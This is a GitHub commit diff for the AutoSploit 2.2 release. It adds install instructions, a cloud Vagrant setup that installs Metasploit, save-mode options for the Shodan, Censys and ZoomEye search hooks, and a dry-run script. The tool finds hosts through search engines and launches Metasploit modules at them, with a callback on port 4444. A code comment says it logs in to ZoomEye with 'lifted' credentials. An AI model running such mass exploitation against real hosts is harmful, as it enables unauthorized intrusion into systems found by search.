Skip to content

Commit 190d232

Browse files
authored
Merge pull request #142 from NullArray/dev-beta
Release 2.2
2 parents e046c8f + 5a0cf98 commit 190d232

File tree

21 files changed

+444
-145
lines changed

21 files changed

+444
-145
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,3 +5,5 @@ hosts.txt
55
secret.p
66
uid.p
77
etc/tokens/*
8+
autosploit_out/*
9+
venv/*

README.md

Lines changed: 26 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,32 @@ docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit
5555
EOF
5656
```
5757

58+
On any Linux system the following should work;
59+
60+
```bash
61+
git clone https://github.com/NullArray/AutoSploit
62+
cd AutoSploit
63+
chmod +x install.sh
64+
./install.sh
65+
```
66+
67+
If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following;
68+
69+
```bash
70+
sudo -s << '_EOF'
71+
pip2 install virtualenv --user
72+
git clone https://github.com/NullArray/AutoSploit.git
73+
virtualenv <PATH-TO-YOUR-ENV>
74+
source <PATH-TO-YOUR-ENV>/bin/activate
75+
cd <PATH-TO-AUTOSPLOIT>
76+
pip2 install -r requirements.txt
77+
chmod +x install.sh
78+
./install.sh
79+
python autosploit.py
80+
_EOF
81+
```
82+
83+
5884
More information on running Docker can be found [here](https://github.com/NullArray/AutoSploit/tree/master/Docker)
5985

6086
## Usage
@@ -123,17 +149,6 @@ misc arguments:
123149
--whitelist PATH only exploit hosts listed in the whitelist file
124150
```
125151

126-
## Installation
127-
128-
On any Linux system the following should work;
129-
130-
```bash
131-
git clone https://github.com/NullArray/AutoSploit
132-
cd AutoSploit
133-
chmod +x install.sh
134-
./install.sh
135-
```
136-
137152
If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following;
138153

139154
```bash

Vagrant/Vagrantfile

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Use as a strating point to spin up a box in lightsail.
2+
# the vagrant-lightsail plugin is required
3+
# You probably also need to:
4+
# - Configure the ssh keys path
5+
# - Install and configure the aws-cli package
6+
7+
Vagrant.configure('2') do |config|
8+
config.vm.synced_folder ".", "/vagrant", type: "rsync",
9+
rsync__exclude: ".git/",
10+
rsync__auto: true
11+
12+
config.ssh.private_key_path = '/path/to/id_rsa'
13+
config.ssh.username = 'ubuntu'
14+
config.vm.box = 'lightsail'
15+
config.vm.box_url = 'https://github.com/thejandroman/vagrant-lightsail/raw/master/box/lightsail.box'
16+
config.vm.hostname = 'autosploit-launcher'
17+
18+
config.vm.provider :lightsail do |provider, override|
19+
provider.port_info = [{ from_port: 0, to_port: 65535, protocol:
20+
'all' }]
21+
provider.keypair_name = 'id_rsa'
22+
provider.bundle_id = 'small_1_0'
23+
end
24+
25+
config.vm.provision "bootstrap", type: "shell", run: "once" do |s|
26+
s.path = "./bootstrap/bootstrap.sh"
27+
end
28+
end

Vagrant/bootstrap/bootstrap.sh

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
#!/bin/bash
2+
3+
echo "Yolosploit configurator 2.42"
4+
sudo apt-get --yes update
5+
sudo apt-get --yes upgrade
6+
7+
echo "Installing metasploit. BE PATIENT (5 min max?)"
8+
wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
9+
chmod +x metasploit-latest-linux-x64-installer.run
10+
sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended
11+
12+
echo "Installing python2"
13+
sudo apt-get --yes install python python-pip python-virtualenv git
14+
15+
sudo apt-get --yes install fish
16+
sudo chsh -s /usr/bin/fish ubuntu
17+
18+
cd ~
19+
git clone https://github.com/NullArray/AutoSploit

api_calls/censys.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,13 +15,14 @@ class CensysAPIHook(object):
1515
Censys API hook
1616
"""
1717

18-
def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None, **kwargs):
18+
def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs):
1919
self.id = identity
2020
self.token = token
2121
self.query = query
2222
self.proxy = proxy
2323
self.user_agent = agent
2424
self.host_file = HOST_FILE
25+
self.save_mode = save_mode
2526

2627
def censys(self):
2728
"""
@@ -38,7 +39,7 @@ def censys(self):
3839
json_data = req.json()
3940
for item in json_data["results"]:
4041
discovered_censys_hosts.add(str(item["ip"]))
41-
write_to_file(discovered_censys_hosts, self.host_file)
42+
write_to_file(discovered_censys_hosts, self.host_file, mode=self.save_mode)
4243
return True
4344
except Exception as e:
4445
raise AutoSploitAPIConnectionError(str(e))

api_calls/shodan.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,12 +17,13 @@ class ShodanAPIHook(object):
1717
Shodan API hook, saves us from having to install another dependency
1818
"""
1919

20-
def __init__(self, token=None, query=None, proxy=None, agent=None, **kwargs):
20+
def __init__(self, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs):
2121
self.token = token
2222
self.query = query
2323
self.proxy = proxy
2424
self.user_agent = agent
2525
self.host_file = HOST_FILE
26+
self.save_mode = save_mode
2627

2728
def shodan(self):
2829
"""
@@ -38,7 +39,7 @@ def shodan(self):
3839
json_data = json.loads(req.content)
3940
for match in json_data["matches"]:
4041
discovered_shodan_hosts.add(match["ip_str"])
41-
write_to_file(discovered_shodan_hosts, self.host_file)
42+
write_to_file(discovered_shodan_hosts, self.host_file, mode=self.save_mode)
4243
return True
4344
except Exception as e:
4445
raise AutoSploitAPIConnectionError(str(e))

api_calls/zoomeye.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,13 +20,14 @@ class ZoomEyeAPIHook(object):
2020
so we're going to use some 'lifted' credentials to login for us
2121
"""
2222

23-
def __init__(self, query=None, proxy=None, agent=None, **kwargs):
23+
def __init__(self, query=None, proxy=None, agent=None, save_mode=None, **kwargs):
2424
self.query = query
2525
self.host_file = HOST_FILE
2626
self.proxy = proxy
2727
self.user_agent = agent
2828
self.user_file = "{}/etc/text_files/users.lst".format(os.getcwd())
2929
self.pass_file = "{}/etc/text_files/passes.lst".format(os.getcwd())
30+
self.save_mode = save_mode
3031

3132
@staticmethod
3233
def __decode(filepath):
@@ -81,7 +82,7 @@ def zoomeye(self):
8182
discovered_zoomeye_hosts.add(ip)
8283
else:
8384
discovered_zoomeye_hosts.add(str(item["ip"][0]))
84-
write_to_file(discovered_zoomeye_hosts, self.host_file)
85+
write_to_file(discovered_zoomeye_hosts, self.host_file, mode=self.save_mode)
8586
return True
8687
except Exception as e:
8788
raise AutoSploitAPIConnectionError(str(e))

autosploit.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
11
from autosploit.main import main
2+
from lib.output import error
23

34

45
if __name__ == "__main__":
5-
main()
6+
try:
7+
main()
8+
except KeyboardInterrupt:
9+
error("user aborted session")

autosploit/main.py

Lines changed: 25 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
1+
import os
12
import sys
3+
import ctypes
24
import psutil
35
import platform
46

@@ -19,11 +21,23 @@
1921
EXPLOIT_FILES_PATH,
2022
START_SERVICES_PATH
2123
)
22-
from lib.jsonize import load_exploits
24+
from lib.jsonize import (
25+
load_exploits,
26+
load_exploit_file
27+
)
2328

2429

2530
def main():
2631

32+
try:
33+
is_admin = os.getuid() == 0
34+
except AttributeError:
35+
# we'll make it cross platform because it seems like a cool idea
36+
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
37+
38+
if not is_admin:
39+
close("must have admin privileges to run")
40+
2741
opts = AutoSploitParser().optparser()
2842

2943
logo()
@@ -73,8 +87,16 @@ def main():
7387
info("attempting to load API keys")
7488
loaded_tokens = load_api_keys()
7589
AutoSploitParser().parse_provided(opts)
76-
misc_info("checking if there are multiple exploit files")
77-
loaded_exploits = load_exploits(EXPLOIT_FILES_PATH)
90+
91+
if not opts.exploitFile:
92+
misc_info("checking if there are multiple exploit files")
93+
loaded_exploits = load_exploits(EXPLOIT_FILES_PATH)
94+
else:
95+
loaded_exploits = load_exploit_file(opts.exploitFile)
96+
misc_info("Loaded {} exploits from {}.".format(
97+
len(loaded_exploits),
98+
opts.exploitFile))
99+
78100
AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits)
79101
else:
80102
warning("no arguments have been parsed, defaulting to terminal session. press 99 to quit and help to get help")

dryrun_autosploit.sh

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#!/usr/bin/env bash
2+
3+
4+
if [[ $# -lt 1 ]]; then
5+
echo "Syntax:"
6+
echo -e "\t./dryrun_autosploit.sh <search_query> [whitelist]"
7+
exit 1
8+
fi
9+
10+
echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue";
11+
read
12+
13+
WHITELIST=$2
14+
SEARCH_QUERY=$1
15+
LPORT=4444
16+
17+
LHOST=`dig +short @resolver1.opendns.com myip.opendns.com`
18+
TIMESTAMP=`date +%s`
19+
20+
21+
if [ ! $WHITELIST ]; then
22+
echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e"
23+
24+
python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e
25+
else
26+
echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e"
27+
28+
python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e
29+
fi;

0 commit comments

Comments
 (0)